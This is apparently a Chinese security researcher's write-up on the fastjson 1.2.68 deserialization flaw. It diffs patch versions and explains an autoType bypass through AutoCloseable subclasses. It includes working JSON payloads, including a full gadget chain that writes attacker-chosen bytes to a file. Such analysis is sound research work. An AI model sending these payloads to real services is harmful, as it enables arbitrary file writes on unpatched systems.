fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记

以此祭奠找 gadgets 逝去的一天时间, orz

漏洞原因

既然已经出了补丁, 首先 diff 一下新版本与旧版本的差别, 这里因为 fastjson 会更新旧版本, 自然优先去 diff 旧版本的 sec 更新. 而不是去看 git log, 这样可以节省点时间, 因为 sec 更新只包含漏洞修补, 没有 feature 的更新.

这里挑了 1.2.48 版本:
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48.sec09/
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48.sec10/

$ diff 1.2.48-sec09/com/alibaba/fastjson/parser/ParserConfig.java  1.2.48-sec10/com/alibaba/fastjson/parser/ParserConfig.java
71a72
>     public static final String    SAFE_MODE_PROPERTY        = "fastjson.parser.safeMode";
75a77
>     public static  final boolean  SAFE_MODE;
87a90,93
>             String property = IOUtils.getStringProperty(SAFE_MODE_PROPERTY);
>             SAFE_MODE = "true".equals(property);
>         }
>         {
185a192
>     private boolean                                         safeMode               = SAFE_MODE;
214a222,224
>                 0xD54B91CC77B239EDL,
>                 0xD59EE91F0B09EA01L,
>                 0xD8CA3D595E982BACL,
244a255
>                 0x1CD6F11C6A358BB7L,
273a285
>                 0x535E552D6F9700C1L,
291c303,305
<                 0x7AA7EE3627A19CF3L
---
>                 0x7AA7EE3627A19CF3L,
>                 0x7ED9311D28BF1A65L,
>                 0x7ED9481D28BF417AL
497a512,519
>     public boolean isSafeMode() {
>         return safeMode;
>     }
> 
>     public void setSafeMode(boolean safeMode) {
>         this.safeMode = safeMode;
>     }
> 
1033a1056,1059
>         if (this.safeMode) {
>             throw new JSONException("safeMode not support autoType : " + typeName);
>         }
> 
1038,1045c1064,1075
<             if (expectClass == Object.class
<                     || expectClass == Serializable.class
<                     || expectClass == Cloneable.class
<                     || expectClass == Closeable.class
<                     || expectClass == EventListener.class
<                     || expectClass == Iterable.class
<                     || expectClass == Collection.class
<                     ) {
---
>             long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
>             if (expectHash == 0x90a25f5baa21529eL
>                     || expectHash == 0x2d10a5801b9d6136L
>                     || expectHash == 0xaf586a571e302c6bL
>                     || expectHash == 0xed007300a7b227c6L
>                     || expectHash == 0x295c4605fd1eaa95L
>                     || expectHash == 0x47ef269aadc650b4L
>                     || expectHash == 0x6439c4dff712ae8bL
>                     || expectHash == 0xe3dd9875a2dc5283L
>                     || expectHash == 0xe2a8ddba03e69e0dL
>                     || expectHash == 0xd734ceb4c3e9d1daL
>             ) {

明显看到 expectClass 的判断出了变化, 甚至加了层 hash, 有种此地无银三百两的味道 233.
这里修改下 fastjson-blacklist, 改成用 TypeUtils.fnv1a_64 来计算 hash, 可以得到新增了三个类型的判断, java.lang.AutoCloseable, java.lang.Readable, java.lang.Runnable.

这里稍微跟了下程序, 发现 expectClass 的作用其实相当于一个临时白名单, 这里有两个特性:

1. 比如有个

   public interface Face {
   
   }
   
   public class Test implements Face {
       String aaa;
   
       public void setAaa(String aaa) {
           this.aaa = aaa;
       }
   }
   
   public class Test2 {
       Face test;
   
       public void setTest(Face test) {
           this.test = test;
       }
   }

那么通过 JSON.parseObject("{\"test\":{\"@type\": \"Test\", \"aaa\": \"zz\"}}", Test2.class); 是可以反序列化的, fastjson 会对当前反序列化类的 field 的类型作为 type 传进 JavaBeanDeserializer.deserialze. 最后成为 expectClass 代入 checkAutoType 中, 如果 @type 指定的类是 expectClass 的子类, 就可以在黑名单不禁止的情况下通过检查, 这样就可以为 interface 制定类.

2. 还有一个特性, 那就是会直接为 field 创建 JavaBeanDeserializer, 这个更强一些, 无视黑名单以及白名单, 但是前提有一个类的 field (或者 setter) 使用了才行. 比如:

   public static class Test2 {
       java.lang.Thread test;
   
       public void setTest(java.lang.Thread test) {
           this.test = test;
       }
   }

   JSON.parseObject("{\"test\":{\"@type\":\"java.lang.Thread\"}}", Test2.class); 会直接将 Thread 反序列化, 无视了黑名单 (实际上直接绕过了 checkAutoType, SafeMode 下依然可以反序列化), 但这个明显鸡肋很多, 毕竟那些危险类一般情况下都是没用的. 没人会作为 filed 来使用.

这次漏洞也是因为特性 1 的原因. 但还有一个原因才能导致漏洞, 那就是 AutoCloseable 是在内置的反序列化 classMappings 中的, 没错, 就是之前缓存绕过 autoType 的那个 mapping. 所以导致了 AutoCloseable 是能直接被反序列化的, 这里可以根据特性一, 构造

{
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.FileOutputStream",
    "file": "/tmp/asdasd",
    "append": true
}

这样可以直接绕过 autoType 的检查, 得到 java.io.FileOutputStream, 此处是直接用 "@type": "java.lang.AutoCloseable" 构造出了 JavaBeanDeserializer, 而不是跟上面的例子一样通过 filed 的方式. 相信看到这里, 就已经有想法了, 可以通过 AutoCloseable 的子类来完成相关的攻击.

漏洞修复

修复方式从上面的 diff 中可以看出是在原来的基础上加了几个, 实际上可以看到原来本身就是有防御的, 因为有些内置类是以 Object 作为 setter, 构造函数的参数类型的, 如果不 ban 掉, 就可以直接反序列化任意类了. 这次的漏洞更像是某种意义上的黑名单被绕过, 不过可以看到 AutoCloseable 是 Closeble 的父类, 不知道为什么会在 Closeble 已经被 ban 掉的情况下忘记添加 AutoCloseable, 可能是忘记了? 233

漏洞利用

这里分享一条我找到的不需要三方库的链, 注意虽然不需要三方库, 但只能在 openjdk >= 11 下利用, 因为只有这些版本没去掉符号信息. fastjson 在类没有无参数构造函数时, 如果其他构造函数是有符号信息的话也是可以调用的, 所以可以多利用一些内部类, 但是 openjdk 8, 包括 oracle jdk 都是不带这些信息的, 导致无法反序列化, 自然也就无法利用. 所以相对比较鸡肋, 仅供学习. orz

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

大致思路是从上面已经写出来的 FileOutputStream 开始, 找到一个能往里面指定写入内容的类, 这里要一次传入两个参数, 所以只能通过构造函数或者两个 setter 来设置, 比较尴尬的是没有找到可以直接触发的, 还需要再调用一次 write/close/flush 才能真正写入内容, 最后又找到了 sun.rmi.server.MarshalOutputStream, 可以写入不可控内容, 才真正完成 exp.

这里可以通过反射来暴力搜索函数相关参数, 加快搜索过程, 但也是很麻烦的 orz, 浪费一天时间.